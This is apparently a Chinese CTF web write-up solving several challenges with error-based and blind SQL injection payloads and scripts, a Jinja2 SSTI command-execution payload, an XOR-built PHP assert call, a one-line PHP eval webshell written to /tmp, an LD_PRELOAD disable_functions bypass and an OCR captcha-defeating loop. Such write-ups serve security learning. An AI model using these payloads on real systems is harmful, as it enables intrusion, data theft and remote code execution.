查询数据库: -1' union select 1,2,3,4 from (select count(*),concat(floor(rand(0)*2), (select concat('#',right((SELECT group_concat(schema_name) from information_schema.schemata),60))))a from information_schema.tables group by a)b#
查询表: -1' union select 1,2,3,4 from (select count(*),concat(floor(rand(0)*2), (select concat('#',(SELECT group_concat(table_name) from information_schema.tables where table_schema='true____flag'))))a from information_schema.tables group by a)b#
查询列: -1' union select 1,2,3,4 from (select count(*),concat(floor(rand(0)*2), (select concat('#',(SELECT group_concat(column_name) from information_schema.columns where table_name='syclover'))))a from information_schema.tables group by a)b#
查询flag : -1' union select 1,2,3,4 from (select count(*),concat(floor(rand(0)*2), (select concat('#',(SELECT flag from syclover))))a from information_schema.tables group by a)b#
Easypy
过滤了.
==>|attr()
过滤短横线和关键字 ==>request.args.参数
payload
http://easypy/calc?calc= {{(1=&answer=1)|attr(request.args.class)|attr(request.args.mro)|attr(request.arg s.getitem)(2)|attr(request.args.subclasses)()|attr(request.args.getitem) (133)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getit em)(request.args.popen)(request.args.data)|attr(request.args.read) ()}}&class=__class__&mro=__mro__&getitem=__getitem__&subclasses=__subclasses__&i nit=__init__&globals=__globals__&popen=popen&data=cat+/flag&read=read
easysql
还是先用bp的爆破,查查哪些字符被过滤了。
过滤了一些危险字符,关闭了回显,hint提示flag的值为pwd的值,采用盲注
经过猜解
payload: '!=
(mid((select(group_concat(schema_name))from(information_schema.schemata))from(-1))=’
l’)='1 返回 wrong password
脚本如下
import requests
url = "http://47.100.242.70:4725/check.php"
result = ""
for i in range(1,60):
for j in range(33,127):
# print(j)
pwd=chr(j)+result
uname="'!= (mid((select(group_concat(schema_name))from(information_schema.schemata))from(- {i}))='{pwd}')='1".format(i=str(i),pwd=pwd)
# uname="'!= (mid((select(group_concat(table_name))from(information_schema.tables)where(table _schema)='easysql')from(-{i}))='{pwd}')='1".format(i=str(i),pwd=pwd)
# uname="'!= (mid((select(group_concat(column_name))from(information_schema.columns)where(tab le_name)='syclover')from(-{i}))='{pwd}')='1".format(i=str(i),pwd=pwd)
# uname="'!=(mid((select(group_concat(pwd))from(syclover))from(- {i}))='{pwd}')='1".format(i=str(i),pwd=pwd)
data={"uname":uname,"pwd":pwd}
res=requests.post(url,data)
# print(res.text)
if "wrong password!" in res.text:
result=pwd
print (result)
break
noobPHP
修改权限的路由很明显有问题,可以使用数组越权成为admin,admin的权限可以执行任意代码,这里
到达任意代码执行使用的是一些老套路,参考的是rctf2020。最后使用工具或者自己写一个简单的回显
就能打到cas了,工具可以试着用这个 https://github.com/potats0/CasExp
easyGO
这个直接看官方文档吧
breakout
考点:异或构造assert
,绕过disable_functions
题目:
首先打开题目,就是一段代码
<?php
highlight_file(__FILE__);
// 这些奇怪的符号是什么呢?字符串之间还能异或的吗?
// php5.6里什么函数能够执行任意代码?
$a = $_POST['v'] ^ '!-__)^';
// ctf常见的验证码哦!纯数字呢
if (substr(md5($_POST['auth']),0,6) == "666666") { $a($_POST['code']);
}
?>
思路:由注释,我们知道需要用到异或构造
,php5.6里什么函数能够执行任意代码?
我的第一反应就是使用assert
,所以我们先异或构造assert
,然后绕过if语句(利用脚本直接爆)
,给code
传参,直接执行任意命令。
在php中,字符串是能异或的,两个字符串异或相当于每个对应位置的字符的ascii码异或后再转成字符的结果,比如’@’^’!’=‘a’。
看到异或后面字符是6个字符,所以前面post-v
也需要6个字符,然后生成一个函数名,这更加确定是assert
函数,直接给脚本:
官方的脚本:
def burte1(target, part):
if len(part) != len(target):
return ""
clist = list(" !\"#$%&'()*+,-./:;<=>?[\]^_@`{|}~")
str2 = part
str1 = ""
while 1:
if len(str1) >= len(str2):
break
flag = False
for char in clist:
target_char = target[len(str1)]
part_char = part[len(str1)]
if bin(ord(char) ^ ord(part_char))[2:] == bin(ord(target_char))[2:]:
str1 += char
flag = True
break
if not flag:
break
return str1
print(burte1("assert","!-__)^"))
也可以一个字符一个字符的异或得到(脚本比较简单)
下面绕过if语句
,看到提示是纯数字,直接爆破
import hashlib
for i in range(10000000):
a=hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6]=='666666':
print(i)
官方的脚本
def burte2(target):
def md5(s: str, encoding='utf-8') -> str:
from hashlib import md5
return md5(s.encode(encoding=encoding)).hexdigest()
for i in range(10000000):
if md5(str(i))[:6] == target:
return i
break
print(burte2("666666"))
得到绕过后,开始执行命令,看phpinfo():
发现它既有disable_funtions
禁用了一堆函数,也有openbase_dir
,只能访问/var/www/html
和/tmp
(因为环境已经关了,只有借用师傅的图了)
函数没有禁用file_put_contents()
,经过测试,我们可以向/tmp
直接写入马
code=file_put_contents('/tmp/ma.php','<?php eval($_POST[1]);');
看到我们成功写入马了,后面就简单了,直接蚁剑连接。
进去之后就是/tmp的目录,然后我们就需要绕过disable_functions
利用LD_PRELOAD
环境变量的方法绕过
首先我们通过file_put_contents
把php文件和so文件上传到/tmp
下,
这儿有现成的,但是也可以自己操作。
但是这儿过滤了mail
,我们需要把php文件中的mail
换成mb_send_mail
传上去,直接开始利用,先使用include
包含php文件,然后GET传入参数
其中三个参数
这里3 个参数,一是 cmd 参数,待执行的系统命令;二是 outpath 参数,保存命令执行输出结果的文件路径,便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;三是 sopath 参数,指定劫持系统函数的共享对象的绝对路径。
根目录找到readflag
函数,直接读取它就行了。
关于绕过disable_functions
https://www.scuctf.com/ctfwiki/web/3.rce/%E7%BB%95%E8%BF%87disable_functions/#ld_preload
https://www.anquanke.com/post/id/197745
https://xz.aliyun.com/t/5320
validation
这个题简单的ocr,其实可以比解题脚本更精准,因为图片噪点的生成算法是固定的。所以可以还原,这里只给了正常的灰度处理就可以过。
什么是ocr?
OCR (Optical Character Recognition,光学字符识别)是指电子设备(例如扫描仪或数码相机)检查纸上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻译成计算机文字的过程;即,针对印刷体字符,采用光学的方式将纸质文档中的文字转换成为黑白点阵的图像文件,并通过识别软件将图像中的文字转换成文本格式,供文字处理软件进一步编辑加工的技术。如何除错或利用辅助信息提高识别正确率,是OCR最重要的课题,ICR(Intelligent Character Recognition)的名词也因此而产生。衡量一个OCR系统性能好坏的主要指标有:拒识率、误识率、识别速度、用户界面的友好性,产品的稳定性,易用性及可行性等
脚本:
import os
import time
import re
from PIL import Image
import ddddocr
import onnxruntime
import requests
from base64 import b64decode
url = "http://110.42.233.91:88/access"
sess = requests.Session()
ocr = ddddocr.DdddOcr(use_gpu=True)
onnxruntime.set_default_logger_severity(3)
def pic_to_text(text):
img = re.findall(r"base64,(.*?)>", text)[0]
open("v_code_LA.png", "wb").write(b64decode(img.encode()))
v_code = Image.open("v_code_LA.png")
v_code.convert("L")
v_code.save("v_code.png")
v_code_bytes = open('v_code.png', 'rb').read()
code = ocr.classification(v_code_bytes)
os.remove("v_code.png")
return code.lower()
def validate(text):
cnt = int(re.findall(r"done (.*?) times", text)[0])
if cnt == 1000:
print(text)
return
code = pic_to_text(text)
if len(code) != 4:
return
data = { "v_code": code }
sess.post(url,data)
if __name__ == "__main__":
while 1:
res = sess.get(url)
validate(res.text)
time.sleep(2)
官方文档
https://blog.youkuaiyun.com/weixin_43610673/article/details/121426951?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163793652716780274159451%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=163793652716780274159451&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-5-121426951.first_rank_v2_pc_rank_v29&utm_term=%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%982021web&spm=1018.2226.3001.4187